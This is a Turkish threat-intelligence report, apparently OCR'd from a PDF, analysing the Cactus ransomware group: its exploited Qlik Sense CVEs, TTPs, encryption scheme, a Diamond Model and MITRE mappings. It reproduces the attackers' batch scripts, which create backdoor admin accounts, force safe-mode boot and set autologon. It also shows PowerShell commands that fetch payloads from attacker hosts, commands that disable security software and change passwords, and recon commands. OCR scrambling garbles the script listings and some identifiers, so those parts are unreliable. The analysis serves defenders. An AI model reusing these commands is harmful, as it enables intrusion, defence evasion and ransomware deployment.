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Qlik Sense Nedir?

Qlik Sense, kurumsal ve bireysel kullanicilarin karmasik veri kiimelerini kesfetmesine,
analiz etmesine ve gorsellestirmesine yardimc olan self servis bir veri kesfi
gorsellestirme, bulut analizi ve is zekasi platformudur.

r{@} Analytics Solutions

Data Science

Al / Machine Learning

Applications
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Model

Cactus Ransomware Grubu, ilk olarak Mart 2023'te ortaya cikan bir fidye yazilimi
grubudur. Cesitli sektorlerden bircok kurulusu hedef aldiklari ve Ffidye taleplerinde
bulunduklari bilinmektedir. Codunlukla “finans ve sigorta, hukuk, (retim/imalat,
otomotiv ve insaat, teknoloji ve bilisim” gibi sektorler hedefleri arasindadir. Hedefledigi
Ulkeler ise belirli bir cografi bolgeyle sinirli kalmamamakla birlikte; Amerika, Kanada,
Brezilya, Avustralya, Birlesik Krallik, Portekiz, italya, Almanya, Danimarka, Fransa ve
isvicre'dir. Cactus Fidye Yazilimi'nin en cok(%51,9) Amerika Birlesik Devletleri'ni hedef
aldigi gorilmektedir. Bunu %13 ile Birlesik Krallik takip etmektedir.

Fidye yaziiminin adi, fidye notunda verilen dosyanin adi olan cAcTuS.readme.txt'den
gelmektedir. Sifrelenmis dosyalar .CTSx uzantisiyla yeniden adlandirilir; burada “x“,
saldirilar arasinda degisen tek basamakli bir sayidir.

Grup, VPN cihazlari ve Qlik Sense yazilimindaki bilinen giivenlik aciklarindan (CVE-2023-
41265, CVE-2023-41266, CVE-2023-48365) yararlanarak aglara girmesiyle biliniyor. Grup
ayrica oltalama saldirilari dizenliyor, su¢ forumlar (underground forumlar) araciligiyla

calinti kimlik bilgileri satin aliyor ve zararli yazilim dagiticilariyla isbirligi yapiyor.

Microsoft Tehdit istihbarati tarafindan, Storm-0216 (Financially Motivated, Twisted
Spider-UNC2198) adli tehdit aktoriiniin Cactus Fidye Yazilimi'ni dagitmak icin kotd
amacli reklam ve backdoor trojan kullandigi gézlemlendi.

IIIIiI

3.exe.CTS1 4 .xlsx.CTS1

5.pptx.CTST  6.docx.CTS1 cAcTuS.readm
e.txt

Resim 1.1
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Threat actor

name
Storm-0216 Financially motivated
Resim 1.2
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Resim 1.3

Previous name

Origin/Threat

Other names

Twisted Spider, UNC2198

2024

Cactus'G diger fidye yazilimi varyantlarindan farkli kilan sey, fidye yazilimi ikilisini
korumak icin sifreleme kullanmasidir. Olay midahale ciktilarina gére grup 2 script
dosyasi (F1.bat ve F2.bat) kullanmaktadir. ilk script olan f1.bat dosyasini inceleyelim:

@echo off

net
net
net

bcdedit

reg
reg
reg
reg
reg
reg
reg
reg
reg

user AdminBac P@ssWBdDP@ssW /add

user AdminBac /factive:yes

localgroup Administrators AdminBac /fadd
/set {default} safeboot minimal
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v

add
add
add
add
add
add
add
add
add

"HKLM\Software\Microsoft\Windows
"HKLM\Software\Microsoft\Windows
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v
"HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v

NT\CurrentVersion\Winlogon” /v
NT\CurrentVersion\Winlogon" /v

shutdown -r -f -t 5

del

“%~f0"

Resim 1.4

"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System”
"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"

"x!test” [/t REG_SZ /d "C:\windows\f2.bat"

Adm1nBac kullanicisini ekler, bunu
aktiflegtirir (factive:yes) ve
Administrators grubuna ekler

LegalNoticeText /t REG_SZ /d "" /f
LegalNoticeCaption /t REG_SZ /d "" /f
/v LegalNoticeText /t REG_SZ /d "" /T
/v LegalNoticeCaption /t REG_SZ /d ""
AutoAdminLogon /t REG.SZ /d 1 /f
DefaultUserName /t REG_SZ /d AdminBac /f
DefaultPassword /t REG_SZ /d P@ssWedDP@ssW /
AutoLogonCount /t REG_DWORD /d 1 /f

It

/f

Resim 1.4'de Registry keyleri lizerinde yaptigi islemleri kisaca anlatacak olursak:
e netile baslayan komutlar ekran gorintisiinde aciklanmistir

e “bcdedit” ile bilgisayari giivenli modda 6n yiklemek istedigini belirtir

e reg add altindaki eklenen registry keyleri ise:

a.Giris/oturum ekranindaki uyari mesajlarini siler. (Windows - Windows NT)
b.Sistem yeniden baslatildiginda otomatik olarak oturum acmasini saglar
c.Oturum acildigi esnada (Otomatik oturum agcma) “Adm1nBac” kullanicisi ve

“P@ssWOdDP@ssW" parolasi ile oturum acar

d.“AutoLogonCount” ile otomatik oturum islemini 1 ile sinirlar
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e En sonda bulunan RunOnce (oturum acildiginda programin 1 kez calistirilmasini
saglar ve sonra Key silinir) ile f2.bat dosyasinin calistirilmasi saglanir

e “shutdown” komutu ise restart (-r) islemini forse eder (-f, kullanicilari uyarmadan
calisan uygulamalari kapatmaya zorlar) ve 5 saniye bekleyip calistirir (-t 5)

e del satirinda ise %~f0 degiskeni calismakta olan dosyanin tam path’ini verir yani
dosya calistirildiktan sonra kendisini siler. (Anti-Forensic)

f1.bat scriptini inceledikten sonra 1 kez calistirilacak olan (f2.bat dosyasini inceleyelim):

@echo off Cihazi giivenli modda
SETLOCAL EnableExtensions calistirmayi devre disi
bcdedit /deletevalue {default} safeboot birakir
C:\Windows\7.exe x C:\Windows\.7z -p1234 -o0"C:\Windows"
del C:\Windows\7.exe
del C:\Windows\.7z
C:\Windows\.exe -i
SET EXE=.exe
:Running
FOR /F %%x IN ('tasklist /NH /FI "IMAGENAME eq %EXE%"') DO IF NOT %%x == %EXE% (
ECHO %EXE% is Not Running
GOTO notRunning
) ELSE (
ECHO %EXE 1is running
timeout /t 18
GOTO Running

)

:notRunning
ECHO %EXE% is Not Running
del C:\Windows\.exe
shutdown -r -t 5 -c¢ "Computer Will Now Restart In NORMAL MODE..."
del "%~f@"

Resim 1.5
f2.bat dosyasindaki bcdedit satirini ekran goriintisinde acikladik.

e 7-Zip kullanarak .7z dosyasini 1234 parolasi ile C:\Windows dizinine 7.exe olarak
cikartir

e Sonrasinda 7.exe ve .7z dosyalarini siler

e .exe -i ise exe dosyasini (ransom binarysinin parametre mantigi ile calisir) -i bayragi
ile baslatir
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e DOngl kullanir ve tasklist NH FI (FI verilen kriterlere uygun goérevleri gosterir, NH
“Table ve CSV" icin “Situn” basliginin goériintilenmemesini saglar.)

o Kullanilan dongt icerisinde %EXE% degiskenine esit olan islemi arar

e delile .exe'yisiler

e shutdown satirinda restart (-r) etmesini soyler, (-t 5) 5 saniye sonra ve restart
nedenini (-c) “Bilgisayar Normal Mode'da restart edilecek” olarak belirtir

Ransomware ikilisi farkli eylemler icin Farkli parametreler alir:

-s (setup mode): Komut satirinda "-s" parametresi ile tetiklenir, burada yiritalebilir
dosya kendisini C:\ProgramData{VictimID}.exe dosyasina kopyalar ve ardindan
C:\ProgramData\ntuser.dat dosyasina orijinal yurditilebilir dosyanin yolunu iceren bir
yapilandirma dosyasi yazar. Sonrasinda C:\ProgramData{VictimID}.exe -r komutunu
calistirmak icin zamanlanmis bir gérev olusturur, yiritdr ve setup process sonlanir.

-r (read configuration mode): ntuser.dat dosyasini okur.

-i (encryption mode): Son olarak dosya sisteminde arama yapar ve statik olarak bagli bir
fonksiyondan OpenSSL'in zarf implementasyonunu (envelope implementation) ve
threads (is parcaciklari) kullanarak birden fazla dosyayi sifrelemeye baslar. Sifrelenmis
dosyalar ".cts<int>" uzantisina sahiptir ve burada belirtilen "<int>" herhangi rastgele bir
rakamla degistirilebilir.

Initial Access (ilk Erisim TA0001).

VPN cihazlarindaki (Forti en sik goriilen) belgelenmis glvenlik aciklarindan faydalanarak
hedefin altyapisina erisir. Initial access evresinde VPN aciklarinin exploit edilmesinin
ardindan yetkisiz erisim ve kalicligi saglamak icin compromised sistemlerde SSH
Backdoor olusturulur.

Persistence (TA0003)_

Cactus Ransomware, SSH Backdoor kaliciik mekanizmasina ek olarak schtasks
(zamanlanmis gorev) kullanarak compromised edilen sistemde kalicilik saglamaya
calisir. Schtasks en yetkili kullanici olan SYSTEM haklariyla ¢alisacagi igin sistemdeki
zararli, faaliyetlerine sorunsuz bir sekilde devam eder.
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Web tarayicilarindan kimlik bilgilerinin dump edilmesi, diskteki parola iceren dosyalarin
manuel aranmasi ve LSASS dump gibi yontemler kalicilik icin kullanilmaktadir.
Splashtop, AnyDesk, SuperOps gibi legal RMM araclarini kullanmaktadirlar. (Bu tdr
araclar, tehdit aktorlerine, giivenligi ihlal edilmis sistemler (zerinde uzaktan yonetim ve
kontrol icin gelismis yetenekler saglar.)

Lateral Movement (Yanal Hareket TAOQO08)

Gecerli ve olusturulmus (saldirgan tarafindan) hesaplar kullanilir.

SuperOps ve Remote Desktop Protocol (RDP) gibi yonetim araclarinin compromised
sistemde konuslandirilmasi (deploy) saglanir.

SoftPerfect ag tarama aracinin kullanilmasi ve PSnmap.ps1 powershell scriptinin nmap
olarak kullanilmasi Yanal Hareket icin saldirganlara agda gorintrlik saglamaktadir.

Encryption Phase (Sifreleme Evresi)
Cactus Ransomware goémuldikten (kendini sifreleyerek tespit mekanizmalarindan kacar
ve kendini sistemin icine gémer) sonra bir sifreleme yolu izler.

i)Encryption Phase - Dosya Sifreleme (AES-256-GCM)

Saldirganlar 6ncelikle AES-256-GCM algoritmasini kullanarak dosyalari sifreler. Bu, her
dosya icin rastgele bir sifreleme anahtari olusturur ve bu anahtari kullanarak dosyalari
okunmaz hale getirir. GCM ise sifrelenmis verilerin btiinligini ve orijinalligini korur.
ii)Encryption Phase - Sifre Cozme Anahtarlarini Koruma (RSA-4096)

Olusturulan her dosya sifreleme anahtari da RSA-4096 algoritmasi kullanilarak
sifrelenir.

Kurbanlar, sifrelenmis dosyalari kurtarmak icin sifre ¢6zme anahtarlarini ele gecirmek
zorundadir.

AES-256-GCM dosyalari glicli bir sekilde sifreler ve sifrelenen verilerin bitinligin
korur. RSA-4096 ise sifre cozme anahtarlarini korur ve bunlarin ele gecirilmelerini 6nler.
Cactus ransomware simetrik (AES-256-GCM) sifreleme algoritmasinin hizindan,
asimetrik (RSA-4096) sifreleme algoritmasinin ise gliveliginden yararlanmaktadir. Bu
yaklasim ransomware gruplarinin double-extortion saldirilarindaki 2. evre olan veri
sifrelemedeki etkisini artirdidi icin popiler bir hale gelmektedir.

Fidye yazilimi AES-256-GCM ve RSA-4096 sifreleme algoritmalarini birlikte
kullanarak saldirinin etkisini daha biiyiik hale getirmektedir.
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Sifrelenecek dosya/dosyalar Random AES Anahtan
i ”

" AES Sifreleme

...................................................................................................

Simeftrik

" RSA Sifreleme

...................................................................................................

Asimetrik

Resim 1.6

Double-Extortion (Cifte Santaj)

Double-extortion saldirisi 2 evreden olusmaktadir ve amaci edger kurban sifrelenen
verileri backup Uzerinden geri dondirirse elde edilen verileri paylasmakla tehdit
ederek itibar kaybina ve finansal kayba neden olmaktir. ilk evre verileri C2 sunucusuna
sizdirmaktir, ikincisi ise verilerin hedefin sisteminde sifrelenmesidir. Tehdit gruplari
oncesinde sadece verileri sifreliyorken, kurbanlar backup sistemlerinden geri donerek
fidye yazilimi taleplerini gecersiz kilabildikleri icin saldirganlar bunu da engelleyebilmek
icin double-extortion saldirilarini kullanmaktadir.

Cactus Ransomware Yapisi
Gelistirilen dil C/C++'dIr.

Cactus Genel Yapi
Bir aga girdikten sonra Cactus, sistemi kesfetmek ve gizli kalmak icin LotL (Livin-off-the-
land) saldirilarint kullanilir.

Veri sizintisi icin Rclone, sifreleme islemini otomatiklestirmek icin PowerShell betigi,
zamanlanmis gorevler/schtasks kullanirlar. C2 sunuculariyla iletisim kurmak ve kalicilik
saglamak icin compromised sistemlerde SSH backdoor kullanirlar.
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NOT: Cactus tarafindan kullanilan TotalExec.ps1 scripti 2022 yilinda Black Basta grubu
tarafindan kullaniliyordu. Black Basta tehdit aktorleri Conti, BlackMatter ve Storm-0216
ile baglantilidir. Storm-0216 tehdit aktori, daha once bahsedilen koti amacli reklam
saldirisinin ana karakteridir.

Cactus Taktikleri, Teknikleri ve Prosedirleri (TTP'ler) Magnet Goblin'inkilere
benzemektedir ancak arastirmacilar heniiz aralarinda bir badlanti oldugunu
dogrula(ya)mamistir.

SANS verilerine gére CACTUS, 2023 yilinda 83 vaka bildirdi.

Cactus Ransomware Tespit isimleri:
Ransomware/Win.Cactus.C5469096
Trojan[Ransom]/Win64.Cactus
Generic.Ransom.Cactus.A.6A6CBCEA
Generic.Ransom.Cactus.A.6A6CBCEA (B)
W64 /Filecoder.CACT!tr.ransom

A Variant Of Win64/Filecoder.Cactus.A
Trojan-Ransom.Cactus
Trojan-Ransom.Win32.Cactus.d
Trojan.Win32.Cactus.j!c
Ransom.Cactus
Ransom:Win32/Cactus.LKV!MTB
Trojan.Win.Z.Cactus.9205551

e 1cfF6d946c45Ff4ce73a0f97cdbc136c9eef7723292bc3b6c9a9ecc8f90386F6d2
(https://www.virustotal.com/gui/file/1cf6d946c45F4ce73a0f97cdbc136c9eef77
23292bc3b6c9a%ecc8F90386F6d2)

e d0de7f54d938e8f2F67b7ed071f8c4ad12c4634c271d5c810ebf58b1fd67f10d
(https://www.virustotal.com/gui/file/d0de7F54d938e8f2F67b7ed071f8c4ad12c4
634c271d5c810ebF58b1fd67f10d)

e 69b6b447ce63c98acc9569fdcc3780ced1e22ebd50c5cad9ee1ea7add42e62cc
(https://www.virustotal.com/gui/file/69b6b447ce63c98acc9569fdcc3780ced1e2
2ebd50c5cad9ee1ea7a4d42e62cc)
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Diamond Modelleme Nedir?

Diamond Modelleme 2013 yilinda “The Diamond Model of Intrusion Analysis” adi
altinda 3 siber giivenlik arastirmacisi (Sergio Caltagirone - Andrew Pendergast -
Christoper Betz) tarafindan ele alinmistir. Diamond Model bir siber saldiriyi 4 (core) ana
ozellik ve 6 meta 6zellik (meta-feature) ile inceler. Bu 4 ana o6zellik br saldiri anlamada,
anlamlandirmada 6nemli rol oynamaktadir. Ana oOzellikleri Adversary - Victim -
Infrastructure - Capabilities'dir. Meta o6zellikleri ise Timestamp - Phase - Result -
Direction - Methadology - Resources'dur. Model dogru kurgulandigi ve yapilandirildigi
durumlarda proaktif bir 6nlem olarak siber tehdit istihbaratinda kullanilabilir. Modeli
kapsamli ele almak gerekirse, bir saldirganin altyapi Gzerindeki teknikleri kullanarak
kurbandan faydalanmasi olarak degerlendirilebilir.

Adversary: Saldirgandir, amaci kurbandan faydalanma yolunda yetenekler ile altyapi
Uzerinden ilerlemektir.

Victim: Saldirganlarin hedefidir. Givenlik aciklarindan, yanlis yapilandirilmalarindan
yararlanilan ve altyapi tGzerinden yeteneklerin kullanildigr 6zelliktir. Kurban, bir kurulus,
kisi, e-posta adresi, IP adresi, domain, ilke ve endistri olarak tanimlanabilir.

Infrastructure: Saldirganin bir yetenegi iletmek (deliver capability), yeteneklerin
kontrolind siirdirmek (maintain control of capabilities) ve kurbandan sonuclar elde
etmek icin kullandigi fiziksel ve/veya mantiksal (iletisim) yapilaridir. Yeteneklerin
kontroliind sirdirmeye C2 server, kurbandan sonuclar elde etmeye ise veri sizdirmak
ornek verilebilir. Saldirgan altyapisi olarak degerlendirilir.

Capabilities: Saldirganin kullandigi araclar, TTP'leri, kullandiklari CVE numaralarini ve
zararli yazilmlari temsil eder. Kullanilan araglara Cobalt Strike-Mimikatz-Impacket;
TTP'ye TAO0002 Execution-1047 Windows Management Instrumentation-wmic ile
sistemde yikli yazilimlarin listelenmesi; CVE numaralarina, CVE-2021-44228 CVE-2022-
22965 CVE-2023-23397 CVE-2024-3400 ve =zararli yaziimlara ise RAT-Keylogger-
CryptoMiner ve Danabot-Qakbot verilebilir.

Bir saldirganin tim yetenekleri ve dolayisiyla bireysel yeteneklerinin birlesik
kapasiteleri, cephaneligidir (adversary arsenal).
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Saldirgan cephaneliginin bilinmesi, mitigation kararlari ve planlamasinda degerli bir
bilgidir ve saldirganin hareket ve tepki bicimlerini potansiyel olarak tahmin etmeyi
saglar. Tam bu noktada Diamond Modelleme Siber Tehdit istihbarati ile értiismektedir
ve oncesinde de belirtildigi gibi dogru yapilandirilan bir Diamond Modelleme proaktif
onlem sunmaktadir. Model, ayni zamanda ag savunmasi icin ‘Siber Tehdit istihbarati'ni
gercek zamanli olarak entegre etmeye yarar.

Adversary - Cactus Ransomware o=k Senng

Finansal Motivasyon Finansal Kazang

CVE-2023-41265 QS HTTP Tinelleme
CVE-2024-41266 QS Path Traversal
CVE-2023-48365 S RCE

VPN Zafiyetleri

- L] -
Infrastructure Capabilities
Living-of-the-Land (LotL)
Underground Forumlar/Dark Web Rclone (Exfiltration)
E-Mail RDP - Splashtop - AnyDesk -
EMM Tools SuperOps

Zamanlanmis Gorev (Schtasks)
SSH/SSH Backdoor
" & . & Calimmis VPN Kimlik Bilgileri
Victim Ulkeler/Endustriler roershen (rotslexec.ps,

ABD - Kanada Finans ve Sigorta Psnmap.psl)
Brezilya - Avustralya Hukuk Chisel
UK - Portekiz Uretim/imalat CobaltStrike
Italya - Almanya Otomativ ve Insaat MITRE Navigator TTP
Danimarka - Fransa - Isvigre Teknoloji ve Bilisim
Resim 1.7

Meta-Ozellikler: Diamond olaylarinin kritik olmayan ancak énemli unsurlarini icerecek
sekilde modeli biraz genisletmektedir. Aciklanan meta-6zellikler en Ffaydali
bulunanlardir, modeli genisletmek isteyenler veya modeli uygulayanlar cesitli kritik
bilgileri bulmak/yakalamak icin ek meta-6zellik ekleyebilirler.

Timestamp (Zaman Damgasi): Her olay, gerceklestigi tarih ve/veya saat ile not edilir.
Zaman damgalari, zararli faaliyetlerin gruplandirilmasinin ayrilmaz bir parcasidir bu
yizden zaman damgasinin bilinmesi saldirnin  baslangic ve bitis noktalarini
belirlememizde yarar saglar.

Phase (Asama/Evre): Zararli faaliyet tek bir olayda dedgil, iki veya daha fazla olayda
gerceklesir. Saldirgan her adimda farkli Infrastructure ve farkli Capability'leri kullanarak
adimlari ilerletebilir.
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Result (Sonuc): Bir saldirganin operasyonunun sonuclari ve aktiviteleri tam anlamiyla
basariya ulasmasa da belirlemek ve kesfetmek oldukca 6nemlidir. Operasyonun yapi ve
olay sonrasi sonucunun dederlendirmesini yaparken Success, Failure ve Unknown
yontemleri kullanilarak belgelenebilir. Bir digeri ise glivenlik temellerine (security
fundamentals) gore ayirmaktir: Gizliligi ihlal edilmis, bitinligi ihlal edilmis ve
Kullanilabilirligi ihlal edilmis seklinde Gce ayrilmaktadir.

Direction (Yon): Olay akisi ve olayin olusma yoni yine saldirinin sonuca ulasmasinda ve
incelenmesinde 6nemli ve etkilidir. Daha cok network-based olaylarda etkilidir. Bu
model belirlenirken ise; Victim-to-Infrastructure, Infrastructure-to-Victim,
Infrastructure-to-Infrastructure,  Adversary-to Infrastructure, Infrastructure-to-
Adversary, Bidirectional, Unknown olarak 7 baslikta nitelendirilir. Bu sayede saldirgan
aktivitelerine karsi koymak icin external, external-facing (disariya dontk), internal-
facing (iceriye-donilk) tespit ve mitigation eylemlerinin kombinasyonuna dair daha iyi
kararlar alinabilir.

Methodology (Metodoloji): Tim akista ciddi yarar saglayan ve diger Meta-6zellikler ile
sekillenen vyapidir. Metodoloji meta o6zelligi, analistin genel etkinlik sinifini
tanimlamasina olanak tanir. Kullanicyr zararli bir web sitesine yénlendiren, hyperlink
iceren bir kimlik avi e-postasi ise hem "kimlik avi e-postasi” hem de "kullanici
yonlendirme istismari (user-redirect exploit)" olarak kategorize edilebilir. Bu yontem
olaylari daha iyi kategorize eder ve hem tek bir saldirgan icin hem de gruplama ve
mitigation amaciyla saldirganlar arasinda indicatordan bagimsiz olay karsilastirmasina
olanak tanir.

Resources (Kaynaklar): Olayin karsilanmasi icin gereken bir veya daha fazla harici
kaynag: listeler. Kaynaklar genis anlamda olayin ve dolayisiyla her bir core ve
meta-6zelligin bagli oldugu tim destekleyici unsurlar olarak anlasiimalidir.

Diamond Modeli genisletmek icin “karakteristik bir Meta-ozellik” ekleyelim: Bu 6zellige
gore Cactus ransomware grubunun diger operatorlere gore farkli 6zelliklerini ve genel
cercevede daha iyi anlamaya yonelik yonlerini aciklayalim.

ADEC
CYBER SECURITY




CACTUS Ransomware - Diamond
Model

e Cactus grubuna ait Hall of Shame veya Shaming Site (hacklenen victimlerin
listelendigi utancg veya bildiri sitesi) bulunmamaktadir. (Fidye ddenmedigi takdirde
olusacak durumlari anlamayi glclestirmektedir.)

e Genel saldiri erisim yapisi icin ise VPN zafiyetleri, calinmis VPN kimlik bilgileri ve Qlik
Sense  zafiyetlerini  (CVE-2023-41265, CVE-2023-41266, CVE-2023-48365)
kullanmaktadir.

e Ransomware binarysi icin sifreleme kullanmaktadir ve ransomware binarysi
parametrelerle (-s, -r, -i) calisir.

Cactus Diamond Modellemesinde “MITRE Navigator TTP” ifadesi Mitre (zerindeki
TTP'lerin diamond model icerisine sigmamasindan otirli yalnizca ifade olarak

verilmistir. Asagida Cactus MITRE Navigator TTP'leri gorilmektedir.

TADO001: Initial Access TAD002: Execution
T1190: Exploit Public-Facing T1059: Command and Scripting Interpreter T1055.002: AppleScript
Application

T1059.010: AutoHotKey & AutolT

T1059.009: Cloud AP|

T1059.001: PowerShell

T1053: Scheduled Task/lob T1053.005: Scheduled Task

T1129: Shared Modules

T1072: Software Deployment Tools

T1047: Windows Management Instrumentation

Resim 1.8

TADOO3: Persistence TAD004: Privilege Escalation

T1136: Create Account _T1055: Process Injection

T1053: Scheduled Task/Job T1053.005: Scheduled Task T1053: Scheduled Task/Job T1053.005: Scheduled Task

Resim 1.9
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TADOOS5: Defense Evasion TAQD06: Credential Access

T1562: Impair Defenses T1562.001: Disable or Modify Tools  T1555: Credentials from Password  T1555.003: Credentials from Web
Stores Browsers

T1070: Indicator Remowval T1056: Input Capture

T1036: Masquerading T1003: 05 Credential Dumping T1003.001: LSASS Memory

T1027: Obfuscated Files or T1027.002: Software Packing
Infarmation

T1055: Process Injection

T1497: Virtualization/Sandbox
Evasion

Resim 2.0

TADOOT: Discovery TADOODE: Lateral Movement
T1087: Account Discovery T1087.002: Domain Account T1570: Lateral Tool Transfer

T1083: File and Directory Discovery T1021: Remote Services T1021.001: Remote Desktop
Protocol
T1057: Process Discovery T1021.004: 55H

T1018: Remote System Discovery T1072: Software Deployment Tools
T1082: Systern Information

9: System Metwork
Connections Discovery

T1497: Virtualization/Sandbox

Evasion

Resim 2.1

TA0009: Collection TA0011l: Command and Control
T1119: Automated Collection T1071: Application Layer Protocol

T1056: Input Capture T1573: Encrypted Channel
T1095: Non-Application Layer Protocol
T1571: Non-Standard Port
T1090: Proxy

T1219: Remote Access Software
Resim 2.2

TA0010: Exfiltration TA0040: Impact
T1567: Exfiltration Over Web T1567.002: Exfiltration to Cloud T1486: Data Encrypted for Impact
Service Storage

Resim 2.3
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Tehdit aktorleri PowerShell ve Arka Plan Akilli Aktarim Hizmeti'nden (BITS) yararlanarak
kalicilik saglamak ve uzaktan kontrol saglamak icin asagidakiler de dahil olmak (izere ek
araclar indirmistir:
e anydesk resmi sitesinden anydesk
« indirilen ve putty.exe olarak yeniden adlandirilan bir Plink (PuTTY Link) ikili dosyasi
e Qlik dosyalari gibi gérinen ZIP uzantili yeniden adlandirilmis ManageEngine UEMS
ylrdtilebilir dosyalari.

"ManageEngine UEM" (Unified Endpoint Management), ManageEngine'in rin
yelpazesindeki bir yazilim ¢6zimidir. Unified Endpoint Management, kuruluslarin
cesitli cihazlari (bilgisayarlar, diz(std bilgisayarlar, akilli telefonlar, tabletler vb.) merkezi
bir konumdan yonetmelerini saglayan bir yaklasimi ifade eder.

ManageEngine UEM, sirketlerin endpoint cihazlarini izlemesine, yapilandirmasing,
glvenligini saglamasina ve yonetmesine yardimc olur. Bu ¢6zim genellikle ag
yoneticileri ve BT departmanlari tarafindan kullanilir.

BITS (Background Intelligent Transfer Service), Microsoft'un Windows isletim
sistemlerinde bulunan bir arka plan dosya aktarim hizmetidir. BITS, ag kullanimini
optimize etmek ve genellikle giincelleme, dosya indirme ve yiikleme gibi sireclerde
kullanilir:
1.Arka Plan Aktarimi: BITS, dosya transferlerini arka planda gerceklestirir. Bu sayede,
kullaniclarin bilgisayarlarini normal sekilde kullanmalarina izin verirken dosyalar
aktarilir.
2.Bos Bant Genisligi Kullanimi: BITS, agin bos bant genisligini kullanarak dosya aktarir.
Bu sayede, ag_trafigini tikamaz ve diger uygulamalarin performansini etkilemez.
3.Hata Toleransi: BITS, transfer hatalarini ve kesintileri otomatik olarak yeniden
deneme yetenedine sahiptir. Bu sayede, transfer islemi tamamlanana kadar hata
olmasi durumunda bile aktarim devam eder.
4.0nceliklendirme: BITS, farkli transfer islerine farkli dncelikler atamaniza olanak
tanir. Bu sayede, 6nemli dosyalarin 6ncelikli olarak aktarilmasini saglayabilirsiniz.

NOT: Cesitli kaynaklar tarafindan “Bu tir komutlar genellikle yazilim dagitimi veya
glincelleme senaryolarinda kullanilir.” seklinde belirtilmis. Dolayisiyla saldirganlarin
legal gibi goriinen saldirn vektoérleri konusundaki arayis icin Powershell BITS uygun bir
¢Ozam.
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e powershelliwr -URI 'http://216.107.136.46/Qliksens_updated.zip' -OutFile
C:\Windows\appcompat\AcRes.exe

o powershell start-bitstransfer -source http://zohoservice.net/qlik-sens-nov.zip -
outfile c:\\\windows\\temp\\Qliksens.exe

o powershell Invoke-WebRequest https://download.anydesk.com/AnyDesk.exe -
OutFile c:\\windows\temp\file.exe

o powershell wget 'http://zohoservice.net/anydesk.zip' -outfile
'‘c\\windows\\temp\\any.exe'

o powershell iwr -uri http://zohoservice.net/putty.zip -OutFile
c:\windows\temp\putty.exe

o powershell Invoke-WebRequest
https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe -OutFile
C:\\windows\\temp\\putty.exe

Yukarida 6 adet saldiri teknigi bulunmaktadir. Oncelikle bu komutlar aciklayarak
baslayalim:

e ilki invoke web request kisaltmasi olan iwr -uri ile belirtilen parametredeki ip
adresinden .zip dosyasini indiriyor, -outfile parametresi ile de belirtilen Path’'e
AcRes.exe olarak yiikleniyor

o ikincisi ise start-bitstransfer ile verdigi -source parametresinin http adresteki .zip
dosyasini -outfile ile verdigi path’e gliksens.exe olarak indirir

 Uciincisi Invoke-WebRequest ile anydesk resmi sitesindeki anydesk.exe'yi -outfile
parametresiile verdigi dizine file.exe olarak indirir

o Dordincisi ise wget ile belirtilen http sitesindeki .zip dosyasini -outfile parametresi
ile belirttigi dizine any.exe olarak indirir

e Besincisi ilk komutta oldugu gibi invoke web request kisaltmasi olan iwr -uri ile http
sitedeki .zip doyasini -outfile parametresine putty.exe olarak indirir

e Altinaisi ise Invoke-WebRequest ile web sitesindeki exe dosyasini -outfile
parametresiile belirtilen dizine putty.exe olarak indirir
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Sistem Uzerinde calistirilan birden fazla bilgi toplama komutu ise asagidaki gibidir:
e dir c\windows\appcompat > ../Client/gmc/fonts/qle.ttf
o powershell Get-WmiObject -Class Win32_Product > ../Client/gmc/fonts/qle.ttf
e quser >../Client/gmc/fonts/qle.ttf
e dir c:\windows\temp > ../Client/gmc/fonts/qle.ttf

4 komutu aciklayarak ilerleyelim:

1-) ilk komut c:\windows)\ dizinindeki appcombat dizinini gle.ttf dosyasina aktarir.
AppCompat: Windows'taki Uygulama Uyumlulugu (AppCompat) platformu, Windows'a
yliklenecek hemen hemen her program veya pakette dizeltme yapilmasina olanak
taniyan glcli bir 6zelliktir.

"c:\windows\appcompat" dizini, Windows isletim sisteminde uygulamalarin uyumluluk
durumunu belirlemek icin kullanilan dosyalari ve verileri iceren bir dizindir. Bu dizinde,
Windows'un eski siriimlerinde calismayan veya uyumsuz olan programlarin uyumlu hale
getirilmesine yardimci olmak icin kullanilan cesitli yardimci programlar bulunabilir.

2-) ikincisi Windows Management Instrumentation (WMI) kullanarak sisteme yiiklenmis
olan tim yazilimlarin bir listesini verir. Bu listeyi gle.ttf dosyasina yazar.

3-) Uctinciisi quser kullanici oturumlari hakkinda tablo seklinde bilgi verir.
Tabloda her oturum icin kullanici adi, oturum ID'si, oturum tipi (6rnegin, oturum acik
veya kilitli olabilir), oturum baslangi¢ saati ve bagli istemci bilgileri gibi bilgiler bulunur.

4-) D6rdincisi temp (tim kullanicilar icin olan temp) dizinini listeler.

"Temp" (Gecici) dizini, Windows isletim sisteminde gecici dosyalarin saklandigi bir
klasordir. Bu dosyalar genellikle belirli bir islem icin gecici olarak olusturulur ve daha
sonra kullanilmayan veya gereksiz hale gelirler.

Temp dizini, cesitli uygulamalarin gecici dosyalarini olusturdugu ve sakladigi bir yerdir.
Ornegin, yaziim yiikleyicileri, giincellemeler veya programlar calistinldiginda, gecici
kurulum dosyalar bu dizine indirilir ve depolanir. Ayrica, bazi uygulamalar, gecici
calisma dosyalarini burada olusturarak islemlerini gerceklestirir.

Temp ve %temp% arasindaki fark %temp% mevcut kullanicinin temp dizinidir.

ADEC
CYBER SECURITY




. § 17 |

Saldirilara Genel Bakis

Tehdit aktorinin bilgi toplama sonrasinda asagidaki islemleri yaptigi gozlemlenmistir:

e Sophos'u GUID'si araciligiyla kaldirmak icin msiexec kullanma (burada sophos’tan
kasit sophos firewall, sophos edr veya sophos xdr olabilir -genel hatlariyla Sophos
siber givenlik ¢6zimi- dolayisiyla tehdit aktori icerideki siber givenlik ¢o6zimiand,
antivirs yazilimini veya edr-xdr agent’ini kapatmaya calismaktadir.)

e Administrator hesabi parolasini degistirme.

e Plink araciligiyla bir RDP tiineli olusturma.

o MsiExec.exe /X{5C28F8A0-4BCB-4267-A869-2D589DF264F1} /qn >
../Client/gmc/fonts/qle.ttF

e net user administrator Linux.110.110@123 > ../Client/gmc/fonts/qle.ttf

